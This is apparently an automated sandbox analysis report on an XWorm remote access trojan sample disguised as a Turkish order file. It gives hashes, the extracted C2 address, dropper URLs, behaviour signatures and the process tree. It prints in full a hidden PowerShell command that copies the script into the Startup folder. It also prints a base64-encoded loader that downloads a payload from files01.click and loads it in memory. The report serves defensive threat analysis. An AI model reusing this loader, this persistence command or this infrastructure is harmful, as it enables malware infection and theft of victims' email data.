xworm | 829666c9ca09e25643beeb9aa5fa973a478165dcc0473cbf5483a81efc74a203

Analysis

max time kernel
150s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/06/2026, 11:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SA261481YS206 OZB SİPARİŞ.vbs
Size 1.8MB
Sample260617-m5awhset2k
SHA256 829666c9ca09e25643beeb9aa5fa973a478165dcc0473cbf5483a81efc74a203
MD5 160efc0b8c2643014fa3d0e8e25f8a24
SHA1 b92b179c1d1d68a6d59883e6b6927393af8447a6
SHA512 9b774ccaba2e263b9fcf62c43db0070b3430f04cfea65e46acc2f4745636b8150585cf8b2ef0f12bd8b6105f0fb4b1ff27c76bfe415f79af095df3d83e45d212
SSDEEP 96:Xh987AY0kMV5RrI09vyEGvL0mS1dnvLHeF5zSSe6E3TqreF3zexo6ExdzdnvNE3M:R98l0py+KqM4fGQ+DlJAIDM
TLSH
T1969512CFA65DD6019EC2E18A6AEF3D179F3286AD3D410EB6520E9EDB344810FC1A31D5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution xworm rat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://files01.click/htmlweb/axis/optimized.png
exe.dropper
http://files01.click/htmlweb/axis/optimized.png

Extracted

Family

xworm

Version

203.202.232.132:2828

Mutex

ulQxhAv1bSCnb98W

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2344-22-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6060	4132	powershell.exe	83

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6060	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5512	powershell.exe
6060	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SA261481YS206 OZB SİPARİŞ.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SA261481YS206 OZB SİPARİŞ.vbs	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
652	CasPol.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 6060 set thread context of 2344	6060	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5512	powershell.exe
5512	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
6060	powershell.exe
2344	Caspol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
2344	Caspol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
2344	Caspol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe
652	CasPol.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5512	powershell.exe
Token: SeDebugPrivilege	6060	powershell.exe
Token: SeDebugPrivilege	2344	Caspol.exe
Token: SeDebugPrivilege	652	CasPol.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 5512	4336	WScript.exe	81
PID 6060 wrote to memory of 2344	6060	powershell.exe	86
PID 6060 wrote to memory of 2344	6060	powershell.exe	86
PID 6060 wrote to memory of 2344	6060	powershell.exe	86
PID 6060 wrote to memory of 2344	6060	powershell.exe	86
PID 6060 wrote to memory of 2344	6060	powershell.exe	86
PID 2344 wrote to memory of 5440	2344	Caspol.exe	87
PID 5440 wrote to memory of 3300	5440	csc.exe	89
PID 2344 wrote to memory of 652	2344	Caspol.exe	90
PID 2344 wrote to memory of 4356	2344	Caspol.exe	91
PID 4356 wrote to memory of 3012	4356	csc.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SA261481YS206 OZB SİPARİŞ.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\SA261481YS206 OZB SİPARİŞ.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SA261481YS206 OZB SİPARİŞ.vbs' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command " & ([scriptblock]::Create( [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String( 'JGRpYW5pdGU9J2h0dHA6Ly9maWxlQDAxLmNsaWNrL2h0bWx3ZWIvYXhpQC9vcHRpbWl6ZWQucG5nJy5SZXBsYWNlKCdAJywncycpOw0KJHNxdWJpdHM9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50Ow0KJHNxdWJpdHMuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOw0KJFN0YWdpcml0ZXM9JHNxdWJpdHMuRG93bmxvYWREYXRhKCRkaWFuaXRlKTsNCiRzZW5zaXRpc2VyPVtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJFN0YWdpcml0ZXMpOw0KJGNvbm9jYXJwdXM9J0lOLSc7DQokbWFkYXJvc2lzPSctaW4xJzsNCiRub21vcGh5bGFjdGljPSRzZW5zaXRpc2VyLkluZGV4T2YoJGNvbm9jYXJwdXMpOw0KJHR1cmJpbm90b215PSRzZW5zaXRpc2VyLkxhc3RJbmRleE9mKCRtYWRhcm9zaXMpOw0KaWYoJG5vbW9waHlsYWN0aWMgLWVxIC0xIC1vciAkdHVyYmlub3RvbXkgLWVxIC0xKXsNCnJldHVybn0NCjsNCiR0aGVvcmV0aWNhbD0kbm9tb3BoeWxhY3RpYyskY29ub2NhcnB1cy5MZW5ndGg7DQokb3V0ZXJtb3N0PSRzZW5zaXRpc2VyLlN1YnN0cmluZygkc2Vuc2l0aXNlci5JbmRleE9mKCRjb25vY2FycHVzKSskY29ub2NhcnB1cy5MZW5ndGgsICR0dXJiaW5vdG9teS0oJHNlbnNpdGlzZXIuSW5kZXhPZigkY29ub2NhcnB1cykrJGNvbm9jYXJwdXMuTGVuZ3RoKSk7DQokdGFubmVyZ3JhbT0kb3V0ZXJtb3N0LlJlcGxhY2UoJyMnLCdBJykuVG9DaGFyQXJyYXkoKTsNCltBcnJheV06OlJldmVyc2UoJHRhbm5lcmdyYW0pOw0KJGFsYm9jcmFjaWVzPSR0YW5uZXJncmFtIC1qb2luICcnOw0KW2J5dGVbXV0kaW5zaW5ldz1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFsYm9jcmFjaWVzKTsNCiRnZXJibz1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKCRpbnNpbmV3KTsNCiRwaHlsbGFyeT1AKCdodHRwOi8vZmlsZXMwMS5jbGljay9odG1sd2ViL2F4aXMvZGJrLnBuZycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnck9xOW1jR1pXRycsJ0Nhc3BvbCcsJycsJ0Nhc3BvbCcsJycsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnck9xOW1jR1pXRycsJ3ZicycsJzEnLCcnLCdPc1V0NWJyd1RxJywnMCcsJycsJycsJycpOw0KdHJ5ew0KJEFzaGdhYmF0PSRnZXJiby5HZXRUeXBlKCdGaWJlci5Qcm9ncmFtJyk7DQokYWduYXRpYz0kQXNoZ2FiYXQuR2V0TWV0aG9kKCdNYWluJyk7DQokYWduYXRpYy5JbnZva2UoJG51bGwsW29iamVjdFtdXSRwaHlsbGFyeSl9DQpjYXRjaHsNCn0NCg==' ) ) )) "
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6060
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:2344
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_263eb36c69a44a57a95b0bf39a8f88ae.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5440
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA478.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC81DF125FB1644304BA5D7559AC2C4785.TMP"
      4⤵
      PID:3300
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 2344
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:652
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_f55386bdbbc94745b25edff78fa2db95.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA60F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCED7D40DE58E449C7A73F6C4AB9505E40.TMP"
      4⤵
      PID:3012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 61f890c1240719ddf0d18a7104e402099f33a3489556dba9f6ff46341112c3ae
MD5 717ea7233804041b4d11dcce45fd80bd
SHA1 b87ce833c7a83ec927bb0b1fc8f890c82565698e
SHA512 3bdbb8bae6df4089aa6f4fdefb52853fc84a6143df6a966cb6f67113e2de0ec181c93d934b057f607f5c276820a01d9c3476dd63d2b424a22b71c496ca4c7285
TLSH
T1BC218C33B39CC175C89A117A1089AE01B2B2C3C7409FCECB7A84C108D97F5D9DB641A0
MD5 SHA1 SHA512 TLSH

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 b4dd9891d75ff88efa80bd8a0b022fbf65263da32321f46dbc53b4d062686fc6
MD5 766e752cbe9a89f70594f99bafbd655a
SHA1 28e59d0dbcd244bea105c13be2578f5469179ca9
SHA512 282a1f175def7096089bde3a817dd4c9c551394a3559e6149d3492558235bae113c820e427a0b698843f1b07a99efb7cfbdff1fb66af5aa035b93bac013167d1
SSDEEP 96:mdew7V9qOOoT8BynqgHlNxNEOT7yKk2zNt:mv2OOWoyqgHjoOT70Q
TLSH
T118C1A347979C43A6D0670731B8B303512778E9225B6BABAF25F4137A3EB639009573F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESA478.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA478.tmp
Size 1KB
SHA256 b69eefa6b05500999830e65044c1b48fb9d58755414d37596e67717f56277b2d
MD5 4854b5ca48fdddaffecf13e1a8da3fdf
SHA1 e5ea40d80333f533d7a64a56eb2bc946c5f40939
SHA512 7fb303099237284085a1e8af13a46b2ce526d45a076bb2381a3fbec6326414416245b487281505c521b8646b2b44bfa63ca6a85249c70f550a2c726ca95a65e7
TLSH
T18B41254183D84B1FE173477168F78715A274FF55AF9A435E7488122E1E12740DDC3AB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESA60F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA60F.tmp
Size 1KB
SHA256 51d2687dfea06e385b4fad0f20ce73d568182995ea7efc546d66651f598d77cf
MD5 1d08f3ec1761fbed92d8cfa76b045d6e
SHA1 094385ccbb4014e0a8be9e3dff1a622c62df8144
SHA512 ad91c3f15bcfa3e0bc22e25dbc568993ffde5b46a7d6cdc374a3c0071f3fb01d58c70036581af04a1f908a85964bcc1940a73de7f09bb8b3f9938c8147103e25
TLSH
T14F41234183E84B1FE133473169F78719A279FE91AF9A475EB488122E5E02740DDC3AB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ogktofex.s5l.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogktofex.s5l.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

CSC81DF125FB1644304BA5D7559AC2C4785.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC81DF125FB1644304BA5D7559AC2C4785.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_263eb36c69a44a57a95b0bf39a8f88ae.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_263eb36c69a44a57a95b0bf39a8f88ae.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/652-43-0x0000000000100000-0x0000000000108000-memory.dmp

Download

memory/2344-28-0x00000000060E0000-0x0000000006172000-memory.dmp

Download

memory/2344-22-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/2344-27-0x0000000005710000-0x0000000005776000-memory.dmp

Download

memory/2344-53-0x00000000075A0000-0x0000000007762000-memory.dmp

Download

memory/2344-29-0x0000000006730000-0x0000000006CD6000-memory.dmp

Download

memory/2344-30-0x00000000062C0000-0x00000000062F4000-memory.dmp

Download

memory/2344-31-0x0000000006320000-0x0000000006326000-memory.dmp

Download

memory/2344-26-0x0000000004FF0000-0x000000000508C000-memory.dmp

Download

memory/2344-44-0x0000000005F10000-0x0000000005F8C000-memory.dmp

Download

memory/2344-45-0x0000000005F90000-0x0000000005F98000-memory.dmp

Download

memory/5512-9-0x000001F9F1230000-0x000001F9F1240000-memory.dmp

Download

memory/5512-3-0x000001F9F4250000-0x000001F9F4272000-memory.dmp

Download

memory/5512-0-0x000001F9F1230000-0x000001F9F1240000-memory.dmp

Download

memory/5512-1-0x000001F9F1230000-0x000001F9F1240000-memory.dmp

Download

memory/6060-20-0x000001D0750D0000-0x000001D0751F2000-memory.dmp

Download

memory/6060-21-0x000001D074C50000-0x000001D074C5A000-memory.dmp

Download